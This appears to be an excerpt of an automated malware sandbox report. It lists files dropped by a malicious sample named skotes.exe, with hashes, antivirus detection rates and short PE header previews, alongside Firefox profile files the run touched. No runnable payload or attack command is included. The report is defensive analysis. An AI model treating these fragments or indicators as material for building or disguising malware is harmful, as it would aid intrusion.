Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@..........................@......X.C...@... ............................._.q.s...........................D....................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...arcbojaz..............'.............@...gudtcmgg..............B.............@....taggant.0......."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865216
Entropy (8bit):	7.947026335877486
Encrypted:	false
SSDEEP:	24576:glRGi9tDVvJVftU4j6YF6co+oomzFgoZ8FSCiZlQUiB+XA1sZDz7yflQ1MLeyIuw:+PJrNF//o35PZ86yzXeOtMMmLxM
MD5:	C6774985FC109440CE01C0BDF1978A96
SHA1:	6C3C8E16544C299EE31175D7796679DA0BF33736
SHA-256:	EAA41C656C107CADD3ECD84EB6F9338185DB27B7ED156E8244446FA46B3B936B
SHA-512:	9B3BB6F1DE8A84CF3163FAA52444C993C2AD46981B26E95E00A7D2E7EB3D676C8D8826419B6F1273FDAAA9DB7DAA0F520186599230B0DFF949AD4385A3B5D316
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................I...........@...........................J...........@.................................\p..p............................q...................................................................................... . .P.......^..................@....rsrc .....`.......n..............@....idata .....p.......n..............@... .p*..........p..............@...saixhvao....../......r..............@...cgvumvdv......I......N..............@....taggant.0....I.."...T..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1801728
Entropy (8bit):	7.944327673641293
Encrypted:	false
SSDEEP:	24576:fVIhhuGqyQIrSITgOIubNQb6KAnOMK0HKKEfbULhQmo1936905EnoK5RLSEzqt9v:uh8IrZhrO2KAnOMg5fbULhQmo19Cnqb
MD5:	AF00FAE5BF606001C0C6EF0B98FB54D0
SHA1:	A24FE73EC0B2D0190D3F6F068CA3C13A6CDE4FD3
SHA-256:	8B1FBD75E6FCDF963260148537CAE0D876130656C343518A5D7623937D4F0881
SHA-512:	E08D6691ED7092E2F569391EF89C6B3528630FF449372B064E06EBDE2E7DE482517E7407C81CE75A190D74936C64A0C31F5ACC23EFEFFE6F54622184F780A5BC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."....... i...........@..........................Pi......A....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .p*...$......v..............@...bvkzsckp.....0O......x..............@...wpxlzhew......i......X..............@....taggant.0... i.."...\..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.591577938423089
Encrypted:	false
SSDEEP:	12288:8qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaaTJ:8qDEvCTbMWu7rQYlBQcBiT6rprG8aqJ
MD5:	5DDBDA8BAEF12CDD69941B253FEE8AEC
SHA1:	57E7BE2B1A5A94A521DA718C857CC47DE4CA51DE
SHA-256:	EB24498DB31FAB6A17B5B5C1EEE0E87F46C324B74EDC6B76DB8ED4C0C66DCDD8
SHA-512:	648E76C6CF42268166E57AFA3F9A7B5DADD5AC63EB13898E12098B173EB27B726CF7624B01B0404B3F73BF54D96595C21C2A2E4A991604C76D5AA83BCD32F139
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...zF=g.........."..........b......w.............@..........................p......g.....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2847744
Entropy (8bit):	6.4856441773881786
Encrypted:	false
SSDEEP:	24576:hrIAqSlyHUp/CpYC0PXgE7qtliQJAmn7qdfYKs0ufkqhrLKN5KOVCOo7fU7wBBZF:hUulZ4QaE7hN5KKo7MsBBL0DuWZB9I
MD5:	8016E5D93E55BB0356C789BB6BA0BDBE
SHA1:	D22BB6723EA29FF986BDBCDA2943B6F77F9121E6
SHA-256:	683609CF5DAD7E5A984BF4EBAB65C2FA2A6D59724507B7C5E9D240932F2994A4
SHA-512:	02A0988CDF9FAD5E64893C9271CA4B7CD9008214193C713B1E068912461A7E4D01342C97C96AB0091C25C7444705BA516EF7349EAD6843F9CFB9127278D1D0C0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,......%,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...jwaseymg. +.......+..:..............@...reksrrmv. ....+......N+.............@....taggant.@....+.."...R+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1950208
Entropy (8bit):	7.9499319928683345
Encrypted:	false
SSDEEP:	49152:czm2RWe43WC8UfxF2nI51jGrDTbgNEDHWea:0FR6Gve32I5NGr3fBa
MD5:	AE02D850933FA9D3D3C279D35EF3999F
SHA1:	AF76857B01BF1BEE33DF23BC72F9EA0B458303CE
SHA-256:	14F5FA438F09DA397B2FF9B35614C77BEF6BE69BBFF90443AC53D9C1257E839D
SHA-512:	F6963E64B8296DD218437BDBBCD7980F0E94084D9F687A96446C9E5E87F36F1D89B68152E5795E39D15C2D8A06528A75F1A00CE9F6AD3B4FD573720EBE64385D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`M...........@...........................M...........@.................................W...k.......H....................@M..............................@M..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...olvlyudu......2.....................@...khkyjidv.....PM.....................@....taggant.0...`M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.00234057762599113
Encrypted:	false
SSDEEP:	768:lWE9OaBxc0AJF8JAfPrYU3HcW534/lVBilJ7xbAOxuz/kQ:/xBxcEJAfPrYSHcW6/CdBuz7
MD5:	9D00DF14EED4230877C1EF0A679A8E70
SHA1:	F874289FCC1BA995D94FF43D115826B18232FAE1
SHA-256:	05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
SHA-512:	017F4987A0C9BCA49A299C6C3DC940AE3C0C2FD4B7DD78D03C3B65AD0B766231D68DC9F8CDE5A9F20186DDF1B642918361D44473D4B313B2E62D00648AD57D36
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v.<g...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Reputation:	unknown
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.930288975063851
Encrypted:	false
SSDEEP:
MD5:	29A71593595FE1F8B6665F8A4602CD71
SHA1:	2E3EF0B808A53714701B12930939C69EFBD99C97
SHA-256:	99C75DFCB053F3810DAA06D93A11A04493B79B3A62272F76155EB5C0677C3B28
SHA-512:	B797AC50118BC32067512C1002B50A449EFA56D9DBD316BAEFA4A81824517325ACA1C001CC57EBB32767565114C71D7A133E00A367B8B8C8FCB34ADB6F8EA414
Malicious:	false
Reputation:	unknown
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.930288975063851
Encrypted:	false
SSDEEP:
MD5:	29A71593595FE1F8B6665F8A4602CD71
SHA1:	2E3EF0B808A53714701B12930939C69EFBD99C97
SHA-256:	99C75DFCB053F3810DAA06D93A11A04493B79B3A62272F76155EB5C0677C3B28
SHA-512:	B797AC50118BC32067512C1002B50A449EFA56D9DBD316BAEFA4A81824517325ACA1C001CC57EBB32767565114C71D7A133E00A367B8B8C8FCB34ADB6F8EA414
Malicious:	false
Reputation:	unknown
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 24442 bytes
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	6.6151105149272835
Encrypted:	false
SSDEEP:
MD5:	C9DC512A6C30E92140D6182D610B9C53
SHA1:	05437F29665CE01DF39838A3CF5DE719E403D315
SHA-256:	A77C0B63C4ED64CDFCAE1B04D0FBB8C2D4B63A30C76A2A0773E212D6CB06D2AF
SHA-512:	82BE9684C531CFB80E30BAA6FCCFDE7E58C832929B639B2508FD38415799FC3744B9DEFDC13B1AECA14813CE15C0F6B484B9F3A5BC3F3A888CD7D0F511E6668C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.z_....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 24442 bytes
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	6.6151105149272835
Encrypted:	false
SSDEEP:
MD5:	C9DC512A6C30E92140D6182D610B9C53
SHA1:	05437F29665CE01DF39838A3CF5DE719E403D315
SHA-256:	A77C0B63C4ED64CDFCAE1B04D0FBB8C2D4B63A30C76A2A0773E212D6CB06D2AF
SHA-512:	82BE9684C531CFB80E30BAA6FCCFDE7E58C832929B639B2508FD38415799FC3744B9DEFDC13B1AECA14813CE15C0F6B484B9F3A5BC3F3A888CD7D0F511E6668C
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.z_....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Reputation:	unknown
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Reputation:	unknown
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13253
Entropy (8bit):	5.494038323320179
Encrypted:	false
SSDEEP:
MD5:	999F808C9BB430DA105AE99E8398E2D9
SHA1:	077D7D5C3B985AF9ED93B751EBE060C6D94F92B5
SHA-256:	34A0749B09199AF7CFF3B6C5649D0F5AAE12B091234B48FBE29361E3A6D32409
SHA-512:	5FF946EDDCB545835E5811126F536A18EFAE39E4E793193A23D372FA4C00755D2D5F6519C850162185A8AF75BB4425FB7ECC30DCBF8250963E2627DDC23ECFFD
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732078217);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732078217);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732078217);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 